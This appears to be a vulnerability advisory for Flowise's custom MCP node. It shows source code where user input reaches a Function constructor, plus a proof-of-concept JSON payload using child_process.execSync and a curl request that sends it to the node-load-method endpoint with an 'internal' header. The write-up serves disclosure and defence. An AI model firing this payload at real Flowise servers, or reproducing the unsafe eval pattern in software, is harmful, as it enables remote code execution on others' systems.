Flowise vulnerable to RCE via Dynamic function constructor injection

{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"